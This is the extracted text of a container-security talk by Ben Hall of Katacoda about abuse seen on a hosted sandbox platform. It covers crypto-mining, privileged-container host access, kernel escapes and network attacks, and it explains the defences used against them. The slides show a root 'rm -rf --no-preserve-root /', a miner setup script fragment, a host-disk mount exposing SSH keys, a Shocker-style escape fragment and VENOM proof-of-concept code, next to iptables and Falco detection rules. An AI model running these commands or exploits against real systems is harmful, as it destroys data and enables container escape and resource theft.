Three years of Lessons from Running Potentially Malicious Code Inside Containers

@Ben_Hall
Ben@BenHall.me.uk
Katacoda.com
Welcome!

Docker - Launching Containers

★ Difficulty: Beginner

Time: 10-15 minutes

In this first scenario, we'll explore how you can start and connect to your first container using Docker. The environment has been configured with the latest version of the Docker Engine and client which can be accessed via the command line. To install Docker in your own environment, refer to the official documentation.

The machine name Docker is running on is called docker. If you want to access any of the services then use docker instead of localhost or 0.0.0.0.

What Is Docker?

Docker describes themselves as "an open platform for developers and sysadmins to build, ship, and run distributed applications"
docker.com/whatisdocker/.

Docker allows you to run containers. A container is a sandboxed process running an application and its dependencies on the host operating system. The application inside the container considers itself to be the only process running on the machine while the machine can run multiple containers independently. As they're sandboxed, you avoid the possibility of conflicts between dependencies and simplify deployment as all installation and configuration are done ahead of time.

Docker has three key components. First is the Docker Engine, which provides a way to start containers on multiple different operating system
Interactive Learning Portal

Our Interactive Learning Scenarios provide you with a pre-configured OpenShift® instance, accessible from your browser without any downloads or configuration. Use it to experiment, learn OpenShift and see how we can help solve real-world problems.
Interactive Tutorial - Creating a Cluster

Module 1

Cluster details

Let's view the cluster details. We'll do that by running `kubectl cluster-info`:

```
$ kubectl cluster-info
minikube version
minikube version: v0.28.2
```

We have a running master and a dashboard. The Kubernetes dashboard allows you to view your applications in a UI. During this tutorial, we'll be focusing on the command line for deploying and exploring our application. To view the nodes in the cluster, run the `kubectl get nodes` command:

```
$ kubectl get nodes
NAME STATUS     AGE VERSION
minikube Ready  1m   v1.10.0
```

This command shows all nodes that can be used to host our applications. Now we have only one node, and we can see that it's status is ready (it is ready to accept applications for deployment).

https://kubernetes.io/docs/tutorials/kubernetes-basics/create-cluster/cluster-interactive/
Helpful Links

Start using Docker with **docker**.
Launch containers with **docker run redis**. Use **CTRL + C** to stop the running container.

View port at [https://2886795299-frugo04.environments.katacoda.com](https://2886795299-frugo04.environments.katacoda.com)

Interested in writing your own Docker scenarios and demos?
Visit [www.katacoda.com/teach](http://www.katacoda.com/teach)

```
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
$ rm -rf /
rm: it is dangerous to operate recursively on '/'
rm: use --no-preserve-root to override this failsafe
$ rm -rf --no-preserve-root /
```
Helpful Links

Start using Docker with `docker pull`.
Launch containers with `docker run redis`. Use `Ctrl + C` to stop the running container.

View port at https://2886795299-frugo04.environments.katacoda.com

Interested in writing your own Docker scenarios and demos? Visit www.katacoda.com/teach
$ ddos google.co.uk
PING google.co.uk (216.58.212.99): 56 data bytes
64 bytes from 216.58.212.99: icmp_seq=0 ttl=57 time=85.799 ms
64 bytes from 216.58.212.99: icmp_seq=1 ttl=57 time=36.790 ms
64 bytes from 216.58.212.99: icmp_seq=2 ttl=57 time=91.821 ms
64 bytes from 216.58.212.99: icmp_seq=3 ttl=57 time=19.947 ms
64 bytes from 216.58.212.99: icmp_seq=4 ttl=57 time=41.376 ms
64 bytes from 216.58.212.99: icmp_seq=5 ttl=57 time=35.848 ms
64 bytes from 216.58.212.99: icmp_seq=6 ttl=57 time=37.983 ms
64 bytes from 216.58.212.99: icmp_seq=7 ttl=57 time=21.763 ms
64 bytes from 216.58.212.99: icmp_seq=8 ttl=57 time=30.846 ms
64 bytes from 216.58.212.99: icmp_seq=9 ttl=57 time=29.859 ms
64 bytes from 216.58.212.99: icmp_seq=10 ttl=57 time=32.009 ms
64 bytes from 216.58.212.99: icmp_seq=11 ttl=57 time=39.397 ms
64 bytes from 216.58.212.99: icmp_seq=12 ttl=57 time=21.254 ms
64 bytes from 216.58.212.99: icmp_seq=13 ttl=57 time=29.337 ms
64 bytes from 216.58.212.99: icmp_seq=14 ttl=57 time=19.907 ms
64 bytes from 216.58.212.99: icmp_seq=15 ttl=57 time=19.787 ms
64 bytes from 216.58.212.99: icmp_seq=16 ttl=57 time=23.400 ms
64 bytes from 216.58.212.99: icmp_seq=17 ttl=57 time=21.375 ms
$ ddos google.co.uk
PING google.co.uk (216.58.212.99): 56 data bytes
64 bytes from 216.58.212.99: icmp_seq=0 ttl=57 time=85.799 ms
64 bytes from 216.58.212.99: icmp_seq=1 ttl=57 time=36.790 ms
64 bytes from 216.58.212.99: icmp_seq=2 ttl=57 time=91.821 ms
64 bytes from 216.58.212.99: icmp_seq=3 ttl=57 time=19.947 ms
64 bytes from 216.58.212.99: icmp_seq=4 ttl=57 time=41.376 ms
64 bytes from 216.58.212.99: icmp_seq=5 ttl=57 time=35.848 ms
64 bytes from 216.58.212.99: icmp_seq=6 ttl=57 time=37.983 ms
64 bytes from 216.58.212.99: icmp_seq=7 ttl=57 time=21.763 ms
64 bytes from 216.58.212.99: icmp_seq=8 ttl=57 time=30.846 ms
64 bytes from 216.58.212.99: icmp_seq=9 ttl=57 time=29.859 ms
64 bytes from 216.58.212.99: icmp_seq=10 ttl=57 time=32.009 ms
64 bytes from 216.58.212.99: icmp_seq=11 ttl=57 time=39.397 ms
64 bytes from 216.58.212.99: icmp_seq=12 ttl=57 time=21.254 ms
64 bytes from 216.58.212.99: icmp_seq=13 ttl=57 time=29.337 ms
64 bytes from 216.58.212.99: icmp_seq=14 ttl=57 time=19.907 ms
64 bytes from 216.58.212.99: icmp_seq=15 ttl=57 time=19.787 ms
64 bytes from 216.58.212.99: icmp_seq=16 ttl=57 time=23.400 ms
64 bytes from 216.58.212.99: icmp_seq=17 ttl=57 time=21.375 ms
Google slowing down
Agenda?

• Container Security 101
• Cryptocurrency Mining
• Kernel/Host Attacks
• Network Level Attacks
<table>
<thead>
<tr>
<th>Terminal</th>
</tr>
</thead>
<tbody>
<tr>
<td>rm: cannot remove '/sys/kernel/slab/TCP/422960:adfc42d9560f551272a5456732debd1e998f2be0c57a9f9328b5804e070356ee/shrink': Read-only file system</td>
</tr>
<tr>
<td>rm: cannot remove '/sys/kernel/slab/TCP/422960:adfc42d9560f551272a5456732debd1e998f2be0c57a9f9328b5804e070356ee/slab_size': Read-only file system</td>
</tr>
<tr>
<td>rm: cannot remove '/sys/kernel/slab/TCP/422960:adfc42d9560f551272a5456732debd1e998f2be0c57a9f9328b5804e070356ee/alloc_calls': Read-only file system</td>
</tr>
<tr>
<td>rm: cannot remove '/sys/kernel/slab/TCP/422960:adfc42d9560f551272a5456732debd1e998f2be0c57a9f9328b5804e070356ee/object_size': Read-only file system</td>
</tr>
<tr>
<td>rm: cannot remove '/sys/kernel/slab/TCP/422960:adfc42d9560f551272a5456732debd1e998f2be0c57a9f9328b5804e070356ee/objs_per_slab': Read-only file system</td>
</tr>
<tr>
<td>rm: cannot remove '/sys/kernel/slab/TCP/422960:adfc42d9560f551272a5456732debd1e998f2be0c57a9f9328b5804e070356ee/aliases': Read-only file system</td>
</tr>
<tr>
<td>rm: cannot remove '/sys/kernel/slab/TCP/422960:adfc42d9560f551272a5456732debd1e998f2be0c57a9f9328b5804e070356ee/store_user': Read-only file system</td>
</tr>
<tr>
<td>rm: cannot remove '/sys/kernel/slab/TCP/422960:adfc42d9560f551272a5456732debd1e998f2be0c57a9f9328b5804e070356ee/cpu_partial': Read-only file system</td>
</tr>
<tr>
<td>rm: cannot remove '/sys/kernel/slab/TCP/422960:adfc42d9560f551272a5456732debd1e998f2be0c57a9f9328b5804e070356ee/partial': Read-only file system</td>
</tr>
<tr>
<td>rm: cannot remove '/sys/kernel/slab/TCP/422960:adfc42d9560f551272a5456732debd1e998f2be0c57a9f9328b5804e070356ee/reclaim_account': Read-only file system</td>
</tr>
<tr>
<td>rm: cannot remove '/sys/kernel/slab/TCP/422960:adfc42d9560f551272a5456732debd1e998f2be0c57a9f9328b5804e070356ee/cpu_slabs': Read-only file system</td>
</tr>
<tr>
<td>rm: cannot remove '/sys/kernel/slab/TCP/422960:adfc42d9560f551272a5456732debd1e998f2be0c57a9f9328b5804e070356ee/validate': Read-only file system</td>
</tr>
<tr>
<td>rm: cannot remove '/sys/kernel/slab/TCP/422960:adfc42d9560f551272a5456732debd1e998f2be0c57a9f9328b5804e070356ee/red_zone': Read-only file system</td>
</tr>
<tr>
<td>rm: cannot remove '/sys/kernel/slab/TCP/296120:ac70d417ff9e4df4e294d7d8cac8ed331dab4c3e8b180cb9f7831d76ed6fa30/ctor': Read-only file system</td>
</tr>
<tr>
<td>rm: cannot remove '/sys/kernel/slab/TCP/296120:ac70d417ff9e4df4e294d7d8cac8ed331dab4c3e8b180cb9f7831d76ed6fa30/destroy_by_rcu': Read-only file system</td>
</tr>
</tbody>
</table>
What container security features exist?
Container (Docker) Security 101

- **Non-Root User**: Run as user 1000
  - User Namespaces
- **Copy on Write**: File isolation
- **cgroups**: How much resources can I use?
- **namespaces**: What can I see?
- **Kernel Flags**:
  - No New Priv: Block setuid/setgid to gain root
- **seccomp**: What can I run?
- **Apparmor**: What is my running profile?
- **Capabilities (CAP_*)**: Enable/Disable functionality
Everyone’s “Risk Profile” is different

Risk Profile === Threat Modeling
Hosted CI/CD

Hosted Platform As a Service (Heroku)
CRYPTOCURRENCY JACKING —

Tesla cloud resources are hacked to run cryptocurrency-mining malware

Crooks find poorly secured access credentials, use them to install stealth miner.

DAN GOODIN - 2/20/2018, 7:21 PM
Machine Learning or Cryptocurrency Mining?
Bitcoin “Attacks”
Most likely to be Monero…
Hi Ben,

I'm currently running Internet-wide scans for various misconfiguration issues and I discovered that one of your servers, [redacted], is exposing the Docker daemon on port 2375, without enforcing any kind of authentication.

Any malicious user can thus start a new container and bind the root filesystem of the host it, granting a full access to all the files. He will also be able to execute code on the hosts, by creating a new cron file or adding his key in /root/.ssh/authorized_keys.

This kind of issue is being actively exploited by crypto-currencies miners, most especially for Monero.

I'm not 100% sure that this host belongs to you, but your email is the one I saw in the config file.
Hackers mined $90,000 worth of Monero with a simple Docker Hub trick
Hi all

I would like to report this malicious image: https://hub.docker.com/r/dockmylife/memorytest/
It contains a miner for Monero.

This got deployed on one of our servers which a faulty firewall setting (Docker API port was exposed accidentally). This means the "creators" of the image are actively scanning the Internet for exposed Docker APIs in order to run this image on them.

The container keeps spinning up even after firewall fix and deleting the container and image. In order to stop it, the Docker daemon needs to be restarted.

Kind regards
Simon
Welcome to moneroocean.stream Monero mining pool!

Why should you mine Monero here?

⭐ Automatic selection of the most profitable coin to mine (XMR/GRFT/ITNS/AEON/MSR/RYO/XTL/XHV/TUBE/LDKI) and block reward conversion to XMR. Please note that to mine here you must use cryptonight_v7 algo for xmrig-stak and --algo1 for Cast XMRI. Please check pool's FAQ about miner setup for multi algorithm coin mining.

⭐ Easy to use, informative and mobile-friendly web user interface with Twitter updates about new blocks and payments from @MoneroOcean official pool twitter account

⭐ One-click to directly mine in your browser or use automatic CPU miner setup scripts for Windows and Linux or follow manual CPU/GPU miner setup guides

⭐ Geo distributed pool node servers to improve latency for your miners with support of 80 and 443 mining ports for your firewall bypass

⭐ PPLNS to protect your profits from pool hoppers, payments from 0.03 XMR and low pool fee at 0% (fee is really zero at this moment and pool costs are fully covered from withdrawal tx fee deltax)

To start mining just enter your Monero payment address below or click "New Address" button on instruction how to easily get a new one:

Enter Payment Address
The attackers hid the malware behind an IP address hosted by security firm Cloudflare. They also configured the mining software to use a non-standard port to reach the Internet and to connect to an **unlisted or semi-public endpoint rather than well-known mining pools.**
SheepIt is a free distributed renderfarm for Blender. Try it now!
BitTorrent Traffic is Not Dead, It’s Making a Comeback

File-sharing traffic, BitTorrent in particular, is making a comeback. New data from Sandvine, shared exclusively with TorrentFreak, reveals that BitTorrent is still a dominant source of upstream traffic worldwide. According to Sandvine, increased fragmentation in the legal streaming market may play a role in this resurgence.

Many Internet traffic reports have been published over the years, documenting how traffic patterns change over time.

One of the trends that emerged in recent years, is that BitTorrent’s share of total Internet traffic decreased.
How do we solve a problem like Mining?
How do we solve a problem like Mining?

Docker Grounds up: Resource Isolation

Cgroups: Isolation and accounting

- cpu
- memory
- block i/o
- devices
- network
- numa
- freezer

https://medium.com/@nagarwal/understanding-the-docker-internals-7ccb052ce9fe
Memory: ✓

“CPU Shares”: ×

No (Docker) network traffic shaping: ×

Traffic Shaping is coming to CNI: ✓
#echo "NOTE: If you are using shared VPS it is recommended to avoid 100% CPU usage produced by the miner or you will be banned"

if [ "$CPU_THREADS" -lt "4" ]; then
  #echo "HINT: Please execute these or similair commands under root to limit miner to 75% percent CPU usage:"
  echo "sudo apt-get update; sudo apt-get install -y cpulimit"
  echo "sudo cpulimit -e xm -l $((75*$CPU_THREADS)) -b"
  if [ ""`tail -n1 /etc/rc.local``" != "exit 0" ]; then
    echo "sudo sed -i -e \"$cpulimit -e xm -l $((75*$CPU_THREADS)) -b\n' /etc/rc.local"
  else
    echo "sudo sed -i -e \"$i \cpulimit -e xm -l $((75*$CPU_THREADS)) -b\n' /etc/rc.local"
  fi
else
  #echo "HINT: Please execute these commands and reboot your VPS after that to limit miner to 75% percent CPU usage:"
  echo "sed -i 's/\"max-cpu-usage\": *[^,],/\"max-cpu-usage\": 75,/ \$HOME/monerocean/config.json"
  echo "sed -i 's/\"max-cpu-usage\": *[^,],/\"max-cpu-usage\": 75,/ \$HOME/monerocean/config_background.json"
fi
#echo ""

#echo "[*] Setup complete"
1| Kill long running processes
2| Block / Restrict Egress
1| Long Running Processes

Real or Fake?
2| Block / Restrict Egress

Kill the connection to the miner pools, download services
IPTables
IPTables

/sbin/iptables -A OUTPUT -p tcp --dport {PORT-NUMBER-HERE} -j DROP
/sbin/iptables -A OUTPUT -p tcp --dport 25 -j DROP
This doesn’t work with Docker 🤡

Need to inject into Docker IPTables Chain

$ iptables -I FORWARD -o docker0 -j PREDOCKER
The BSD Packet Filter:
A New Architecture for User-level Packet Capture

Steven McCanne and Van Jacobson
Lawrence Berkeley Laboratory
One Cyclotron Road
Berkeley, CA 94720
mccanne@ee.lbl.gov, van@ee.lbl.gov
December 19, 1992

http://www.brendangregg.com/ebpf.html
Network Policy / Service Mesh?

Kubernetes and Istio!
Ingress gateway (Kubernetes ingress controller)

Service A

Service B

Egress gateway (optional)

External services
Piggy Back Attacks
Kernel/Host Level Attacks
Privileged Containers

$ docker run -privileged ubuntu bash
root@396a3b1b3558:# df -h
Filesystem  Size  Used  Avail  Use%   Mounted on
overlay     19G   2.8G  15G    16%   /
tmpfs       64M   0     64M    0%    /dev
tmpfs       369M  0     369M   0%    /sys/fs/cgroup/
dev/vda1    19G   2.8G  15G    16%   /etc/hosts
shm         64M   0     64M    0%    /dev/shm

root@396a3b1b3558:# mkdir -p /tmp2
root@396a3b1b3558:# mount /dev/vda1 /tmp2/
root@396a3b1b3558:# ls -lha /tmp2/
bin/  home/  mnt/  run/  tmp/
boot/  lib/  opt/  sbin/  usr/
develib64/  proc/  srv/  var/
etc/  lost+found/  root/  sys/

root@396a3b1b3558: ls -lha /tmp2/root/.ssh/
authorized_keys  id_rsa

root@396a3b1b3558: cat /tmp2/root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCBACQAQGqoWpTBOZvsLcz7Zxz7i4+Z00WA01Y+xpnS
vUic6bkB8F4PhuVkJMn+ww7/F/UtLCQ9q06u1K8f5FpkDmeQQLvV7uYCNg7X63ia+njPgF8euF5
rpWvmjG5Zz/6gLGF8+wwFC4yXyj7U7G7Vce59J/DbapUDomA3aL2KMxoerA/D0TEAOFcyML
NNJdy0yYnxLfl7w3IY12po/cPb2VKeqJqji3QwJroDYjC0t5fs4Fp0tvzvbIXP8+nbhd0uTT
Seccomp, AppArmor & Capabilities
{  "name": "open",  "action": "SCMP_ACT_ALLOW",  "args": []}

{  "name": "read",  "action": "SCMP_ACT_ALLOW",  "args": []}

{  "name": "fchmodat",  "action": "SCMP_ACT_ERRNO",  "args": []}
for (uint32_t i = 0; i < 0xffffffff; ++i) {
    outh.handle_bytes = 8;
    outh.handle_type = 1;
    memcpy(outh.f_handle, &ino, sizeof(ino)); //get the '/etc''s inode
    memcpy(outh.f_handle + 4, &i, sizeof(i)); //only try the last 4 bit
    if ((i % (1<<20)) == 0)
        fprintf(stderr, "[*] (%s) Trying: 0x%08x
", de->d_name, i);
    if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
        closedir(dir);
        close(fd);
        dump_handle(&outh);
        return find_handle(bfd, path, &outh, oh);
    }
}
open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY))
Kernel Information

$ uptime
$ uname -a
Linux sd-138464-host14 4.4.0-122-generic #146-Ubuntu SMP Mon Apr 23 15:34:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ cat /proc/cpuinfo
$ df -h
nt_tsc rep_good nopl xtopology cpuid pni pclmulqdq sse3 fma cx16 pcid sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm abm invpcid_single pti fsbegbase bmi1 avx2 smep bmi2 ernes invpcid_xsaveopt
bugs : cpu meltdown spectre_vl spectre_v2 spec_store_bypass l1tf

bogomips : 4788.91
clflush size : 64
cache_alignment : 64
address sizes : 44 bits physical, 48 bits virtual
power management:

processor : 1
vendor_id : GenuineIntel
cpu family : 6
model : 63
model name : Intel(R) Xeon(R) CPU E5-2673 v3 @ 2.40GHz
stepping : 2
microcode : 0xffffffff
cpu MHz : 2394.455
cache size : 30720 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 2
apicid : 1
initial apicid : 1
fpu : yes
fpu_exception : yes
fpu_vme : yes
cpu_l shutdown : cpuid
wp : 3

fpu vme de pse tso msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 olfflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm consta

$ docker run -it ubuntu bashoot@a01c21cca28e:~ # cat /proc/self/c
cgroup cmdline coredump_filter cwd/
clear_refs comm cpuset
root@a01c21cca28e:~ # cat /proc/self/cgroup
10:devices:/docker/a01c21cca28eb75d8de6c6d0d43a8c9b57b9772587b08fdb2968d5942c0cd487
9:cpuset:/docker/a01c21cca28eb75d8de6c6d0d43a8c9b57b9772587b08fdb2968d5942c0cd487
8:pids:/docker/a01c21cca28eb75d8de6c6d0d43a8c9b57b9772587b08fdb2968d5942c0cd487
7:memory:/docker/a01c21cca28eb75d8de6c6d0d43a8c9b57b9772587b08fdb2968d5942c0cd487
6:freezer:/docker/a01c21cca28eb75d8de6c6d0d43a8c9b57b9772587b08fdb2968d5942c0cd487
5:rdma:/
4:blkio:/docker/a01c21cca28eb75d8de6c6d0d43a8c9b57b9772587b08fdb2968d5942c0cd487
3:cpu,cpuacct:/docker/a01c21cca28eb75d8de6c6d0d43a8c9b57b9772587b08fdb2968d5942c0cd487
Requesting a Cloud Shell. Succeeded.
Connecting terminal...

```
ben@Azure:~$ cat /proc/self/cgroup
12:devices:/kubepods/burstable/pod48653148-d69d-11e8-8775-000d3a2df85a/61310f91bf7ef1e2c312
11:freezer:/kubepods/burstable/pod48653148-d69d-11e8-8775-000d3a2df85a/61310f91bf7ef1e2c312
10:perf_event:/kubepods/burstable/pod48653148-d69d-11e8-8775-000d3a2df85a/61310f91bf7ef1e2c312
9:cpuset:/kubepods/burstable/pod48653148-d69d-11e8-8775-000d3a2df85a/61310f91bf7ef1e2c312
8:pids:/kubepods/burstable/pod48653148-d69d-11e8-8775-000d3a2df85a/61310f91bf7ef1e2c312
7:net_cls,net_prio:/kubepods/burstable/pod48653148-d69d-11e8-8775-000d3a2df85a/61310f91bf7ef1e2c312
6:hugetlb:/kubepods/burstable/pod48653148-d69d-11e8-8775-000d3a2df85a/61310f91bf7ef1e2c312
5:blkio:/kubepods/burstable/pod48653148-d69d-11e8-8775-000d3a2df85a/61310f91bf7ef1e2c312
4:rdma:/
3:memory:/kubepods/burstable/pod48653148-d69d-11e8-8775-000d3a2df85a/61310f91bf7ef1e2c312
2:cpu,cpuacct:/kubepods/burstable/pod48653148-d69d-11e8-8775-000d3a2df85a/61310f91bf7ef1e2c312
1:name=systemd:/kubepods/burstable/pod48653148-d69d-11e8-8775-000d3a2df85a/61310f91bf7ef1e2c312

ben@Azure:~$
```
Shared VM??

ben@Azure:~$ uptime
08:59:18 up 46 min, 0 users, load average: 0.02, 0.04, 0.06

Linux cc-b9f1af13-695f8df9dc-jrk6c 4.15.0-1025-azure #26-16.04.1-Ubuntu SMP Tue Sep 25 11:09:50 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

ben@Azure:~$ df -h
Filesystem Size Used Avail Use% Mounted on
overlay 49G 19G 31G 38% /
tmpfs 2.0G 0 2.0G 0% /dev
tmpfs 2.0G 0 2.0G 0% /sys/fs/cgroup
/dev/sda1 49G 19G 31G 38% /etc/hosts
shm 64M 8.0K 64M 1% /dev/shm
/dev/loop0 6.0G 5.0G 1.0G 84% /usr/ben/clouddrive
5.0G 16M 4.7G 1% /home/ben

ben@Azure:~$ pwd
/home/ben

ben@Azure:~$ cd /tmp/
benv@Azure:/tmp$ ls
13ggv2v 41a0af4n
loubcdmv dotnet-installer
1kgsw5v5 draft
24e2fc2w draft-v0.16.0-linux-amd64.tar.gz

ben@Azure:/tmp$ touch test

ben@Azure:/tmp$
Write Everything to disk!

```bash
dd if=/dev/zero of=file.txt count=1024 bs=1024
```
Storage Device having a quota? Doesn’t matter.

If you are root, you can write to /etc/hosts

File is mounted to every container outside of quota
$ podman run -it alpine sh

# df -h

<table>
<thead>
<tr>
<th>Filesystem</th>
<th>Size</th>
<th>Used</th>
<th>Available</th>
<th>Use%</th>
<th>Mounted on</th>
</tr>
</thead>
<tbody>
<tr>
<td>tmpfs</td>
<td>44.1G</td>
<td>3.8G</td>
<td>38.3G</td>
<td>9%</td>
<td>/</td>
</tr>
<tr>
<td>tmpfs</td>
<td>64.0M</td>
<td>0</td>
<td>64.0M</td>
<td>0%</td>
<td>/dev</td>
</tr>
<tr>
<td>tmpfs</td>
<td>496.1M</td>
<td>0</td>
<td>496.1M</td>
<td>0%</td>
<td>/sys/fs/cgroup</td>
</tr>
<tr>
<td>tmpfs</td>
<td>62.5M</td>
<td>0</td>
<td>62.5M</td>
<td>0%</td>
<td>/dev/shm</td>
</tr>
<tr>
<td>tmpfs</td>
<td>99.2M</td>
<td>652.0K</td>
<td>98.6M</td>
<td>1%</td>
<td>/etc/resolv.conf</td>
</tr>
<tr>
<td>tmpfs</td>
<td>99.2M</td>
<td>652.0K</td>
<td>98.6M</td>
<td>1%</td>
<td>/etc/hosts</td>
</tr>
<tr>
<td>tmpfs</td>
<td>99.2M</td>
<td>652.0K</td>
<td>98.6M</td>
<td>1%</td>
<td>/etc/hostname</td>
</tr>
<tr>
<td>tmpfs</td>
<td>64.0M</td>
<td>0</td>
<td>64.0M</td>
<td>0%</td>
<td>/proc/kcore</td>
</tr>
<tr>
<td>tmpfs</td>
<td>64.0M</td>
<td>0</td>
<td>64.0M</td>
<td>0%</td>
<td>/proc/ksysrq</td>
</tr>
<tr>
<td>tmpfs</td>
<td>64.0M</td>
<td>0</td>
<td>64.0M</td>
<td>0%</td>
<td>/proc/limits</td>
</tr>
<tr>
<td>tmpfs</td>
<td>64.0M</td>
<td>0</td>
<td>64.0M</td>
<td>0%</td>
<td>/proc/stat</td>
</tr>
<tr>
<td>tmpfs</td>
<td>64.0M</td>
<td>0</td>
<td>64.0M</td>
<td>0%</td>
<td>/proc/sched_clock</td>
</tr>
<tr>
<td>tmpfs</td>
<td>496.1M</td>
<td>0</td>
<td>496.1M</td>
<td>0%</td>
<td>/proc/scsi</td>
</tr>
<tr>
<td>tmpfs</td>
<td>496.1M</td>
<td>0</td>
<td>496.1M</td>
<td>0%</td>
<td>/sys/firmware</td>
</tr>
<tr>
<td>tmpfs</td>
<td>496.1M</td>
<td>0</td>
<td>496.1M</td>
<td>0%</td>
<td>/sys/module</td>
</tr>
</tbody>
</table>
System load: 3931.91
Usage of /home: 28.1% of 1.77TB
Memory usage: 4%
Swap usage: 97%
Processes: 6939
Users logged in: 1
IP address for eth0: 
IP address for docker0: 

=> There are 39 zombie processes.
$ docker run -it -pid-limit=512 ubuntu bash

Network Level Attacks
DDoS === Hosting provider becomes unhappy
Welcome to CityPower Grid Rerouting
Authorised Users only!
New users MUST notify Sys/Ops.

rcr ebx, 1
bsr ecx, ecx
shrd ebx, edi, CL

Starting netcat 2.5ABETA25
Insufficient responses for TCP sequencing (3). OS detection may be less
accurate.

Interesting ports on 10.2.2.2:
port State Service
open 80 http
open 22 ssh
open 443 https

No exact OS matches for host
24 netcat run completed -- 1 IP address (1 host up) scanneds
50 10.2.2.2:ssh connecting...
20 Attempting to exploit SSHv1 GCF/22 -- successful.
IP 10.2.2.2:1 root
System: root password: "2109101"
ACCESS CONTROL

ACCESS GRANTED
Can’t block outbound external attacks with Istio

Functionality similar to conntrack?
What about Internal attacks?
If I’m on the inside, I’ll spin up another container/pod, by-passing memory restrictions…

Attacking Kubernetes API Server via Service Accounts & Tokens
Network Policy within Kubernetes

kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
  name: api-allow
spec:
podSelector:
  matchLabels:
    app: bookstore
    role: api
ingress:
- from:
  - podSelector:
    matchLabels:
      app: bookstore
Network Policy within Kubernetes

kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
  name: default-deny-all-egress
  namespace: default
spec:
  policyTypes:
  - Egress
  podSelector: {}
  egress: []

https://github.com/ahmetb/kubernetes-network-policy-recipes/blob/master/12-deny-all-non-whitelisted-traffic-from-the-namespace.md
Ingress gateway (Kubernetes ingress controller)

Service A

Service B

External services

Egress gateway (optional)
Visibility!
Log IPTables Drops

iptables -F KC_LOG_DROP
iptables -N KC_LOG_DROP
iptables -A KC_LOG_DROP -j LOG --log-prefix "KATACODA:INPUT:DROP: " --log-level 7
iptables -A KC_LOG_DROP -j DROP
Falco
Open Source Container Native Runtime Security.
A CNCF Sandbox project.
04:17:26.910188828: Warning Sensitive file opened for reading by non-trusted program (user=root name=event_generator command=event_generator file=/etc/shadow parent=<NA> gparent=<NA> ggpparent=<NA> k8s.pod=falco-event-generator-deployment-6fd89678f9-9bzb container=9e462a745992

04:17:27.912343913: Warning Sensitive file opened for reading by non-trusted program (user=root name=httpd command=httpd --action read_sensitive_file --interval 6 --once file=/etc/shadow parent=event_generator gparent=<NA> ggpparent=<NA> gggparent=<NA> k8s.pod=falco-event-generator-deployment-6fd89678f9-9bzb container=9e462a745992

04:17:30.068869316: Notice Namespace change (setsn) by unexpected program (user=root command=bridge parent=bridge k8s.pod=<NA> container=host)

04:17:30.068876689: Notice Namespace change (setsn) by unexpected program (user=root command=bridge parent=bridge k8s.pod=<NA> container=host)

04:17:30.081604417: Notice Namespace change (setsn) by unexpected program (user=root command=bridge parent=bridge k8s.pod=<NA> container=host)

04:17:30.081607342: Notice Namespace change (setsn) by unexpected program (user=root command=bridge parent=bridge k8s.pod=<NA> container=host)
Falco detecting Bitcoin!

- list: miner_ports
  
  items: [
    3333, 4444, 8333, 7777, 7778, 3357,
    3335, 8899, 8888, 5730, 5588, 8118,
    6099, 9332
  ]

- macro: miner_port_connection
  
  condition: fd.sport in (miner_ports)

- rule: Detect outbound connections to common miner pool ports
  
  desc: Miners typically connect to miner pools on common ports.
  condition: node_app_frontend and outbound and miner_port_connection
  
  output: "Outbound connection to common miner port (command=%proc.cmdline port=%fd.rport
  %container.info)"

  priority: WARNING
Security Pipeline
In Summary, Are Containers Secure?
Think VMs contain?

CVE-2016-3710: QEMU: out-of-bounds memory access issue

Venom QEMU/KVM – Attack via floppy driver

```c
#include <sys/io.h>
#define FIFO 0x3f5
int main() {
    int i;
    iopl(3);

    outb(0x0a,0x3f5); /* READ ID */
    for (i=0;i<10000000;i++)
        outb(0x42,0x3f5); /* push */
    outb(0x42,0x3f5); /* push */
}
```
THIS IS FINE.
Quick Wins!

• Don’t allow root (limits easy attacks)

• Read Only Filesystems

• Block Egress – Why do I need to run apt-get in production?

• Network Policies / Service Mesh / Istio!

• Create Visibility
Thank you!

@Ben_Hall
Ben@Katacoda.com
Katacoda.com